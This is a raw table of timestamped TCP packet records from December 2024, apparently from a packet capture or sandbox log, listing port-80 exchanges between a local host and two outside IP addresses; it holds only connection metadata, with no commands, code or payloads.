Dec 14, 2024 14:56:29.310869932 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.310899973 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.310928106 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.312000990 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.312041998 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.312088966 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.312119961 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.313009024 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.313046932 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.313119888 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.313282013 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.314121008 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.314157963 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.314234972 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.314266920 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.315262079 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.315427065 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.315459967 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.316378117 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.316414118 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.316477060 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.316509008 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.317490101 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.317518950 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.317553043 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.318618059 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.318687916 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.318722963 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.318753004 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.319693089 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.319736004 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.319817066 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.319853067 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.320822954 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.320934057 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.320985079 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.321926117 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.321968079 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.322074890 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.322112083 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.323051929 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.323086023 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.323165894 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.323203087 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.324204922 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.324244022 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.324280024 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.324314117 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.325205088 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.325244904 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.352062941 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.431617975 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.431658030 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.431863070 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.432104111 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.432187080 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.432245016 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.432924986 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.432970047 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.433969975 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.434083939 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.434123039 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.434123039 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.435137033 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.435340881 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.435424089 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.436109066 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.436234951 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.436294079 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.437459946 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.437527895 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.437598944 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.438246012 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.438323975 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.438388109 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.439292908 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.439374924 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.439428091 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.440347910 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.440459967 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.440511942 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.441428900 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.441531897 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.441551924 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.489162922 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.489310026 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.489356995 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.489531994 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.489573956 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.489630938 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.489662886 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.490389109 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.490454912 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.490526915 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.490772963 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.491527081 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.491565943 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.491566896 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.491601944 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.492898941 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.493086100 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.493133068 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.493380070 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.493416071 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.493482113 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.493571997 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.494509935 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.494555950 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.494581938 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.494616032 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.495626926 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.495698929 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.495852947 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.495886087 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.496725082 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.496790886 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.496809959 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.496845961 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.497836113 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.497950077 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.498018026 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.498044968 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.498948097 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.499068975 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.499109983 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.500061989 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.500194073 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.500403881 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.501169920 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.501213074 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.501319885 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.501351118 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.502278090 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.502312899 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.502440929 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.502475977 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.503432035 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.503490925 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.503520966 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.503554106 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.504545927 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.504618883 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.504630089 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.504673958 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.505626917 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.505686045 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.505723000 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.505755901 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.506727934 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.506757975 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.506838083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.506875992 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.507858992 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.507896900 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.507961035 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.507993937 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.508972883 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.509008884 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.509079933 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.509186983 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.510073900 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.510114908 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.510190010 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.510224104 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.510719061 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.511193037 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.511229992 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.511284113 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.511493921 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.512319088 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.512352943 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.512428999 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.512516022 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.513420105 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.513456106 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.513520956 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.513742924 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.514533997 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.514576912 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.514648914 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.514839888 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.515657902 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.515785933 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.515826941 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.516875982 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.516935110 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.517016888 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.517147064 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.517915964 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.517976046 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.518008947 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.518109083 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.519016981 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.519076109 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.519109011 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.519145012 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.520153999 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.520191908 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.520262957 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.520451069 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.521251917 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.521286964 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.521364927 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.521522045 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.522526979 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.522559881 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.522679090 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.522865057 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.523443937 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.523482084 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.523549080 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.523658037 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.524679899 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.524722099 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.524807930 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.524959087 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.526226044 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.526263952 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.526304007 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.526340008 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.527513981 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.527548075 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.527591944 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.527623892 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.528537035 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.528574944 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.528686047 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.528794050 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.529827118 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.529864073 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.529903889 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.529987097 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.531037092 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.531076908 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.531109095 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.531141996 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.532042027 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.532080889 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.532109976 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.532145023 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.533133030 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.533169031 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.533252954 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.533293009 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.534235001 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.534271955 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.534298897 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.534331083 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.535253048 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.535274029 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.535291910 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.535325050 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.536353111 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.536396027 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.536401033 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.536436081 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.537364006 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.537453890 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.537475109 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.537486076 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.538423061 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.538459063 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.538487911 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.538526058 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.539290905 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.539326906 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.539366961 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.539447069 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.540261030 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.540306091 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.540323973 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.540355921 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.541276932 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.541312933 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.541380882 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.541412115 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.542375088 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.542411089 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.542490959 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.542597055 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.543512106 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.543546915 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.543606043 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.543711901 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.544629097 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.544661999 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.544717073 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.544749975 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.545733929 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.545782089 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.545846939 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.545885086 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.546881914 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.546952963 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.546994925 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.561350107 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.630696058 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.630882978 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.630882978 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.681139946 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.681330919 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.681387901 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.681603909 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.681639910 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.681838989 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.681871891 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.681936979 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.681965113 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.682949066 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.682985067 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.683058977 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.684053898 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.684092999 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.684823036 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.684858084 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.684932947 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.684966087 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.685296059 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.685328007 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.685556889 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.685589075 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.685646057 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.685677052 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.686635971 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.686674118 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.686743975 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.687824011 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.687860012 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.687930107 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.687963009 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.688914061 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.688949108 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.689017057 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.689048052 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.690088034 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.690205097 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.690241098 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.691128016 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.691232920 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.691268921 CET	49876	80	192.168.2.5	31.41.244.11
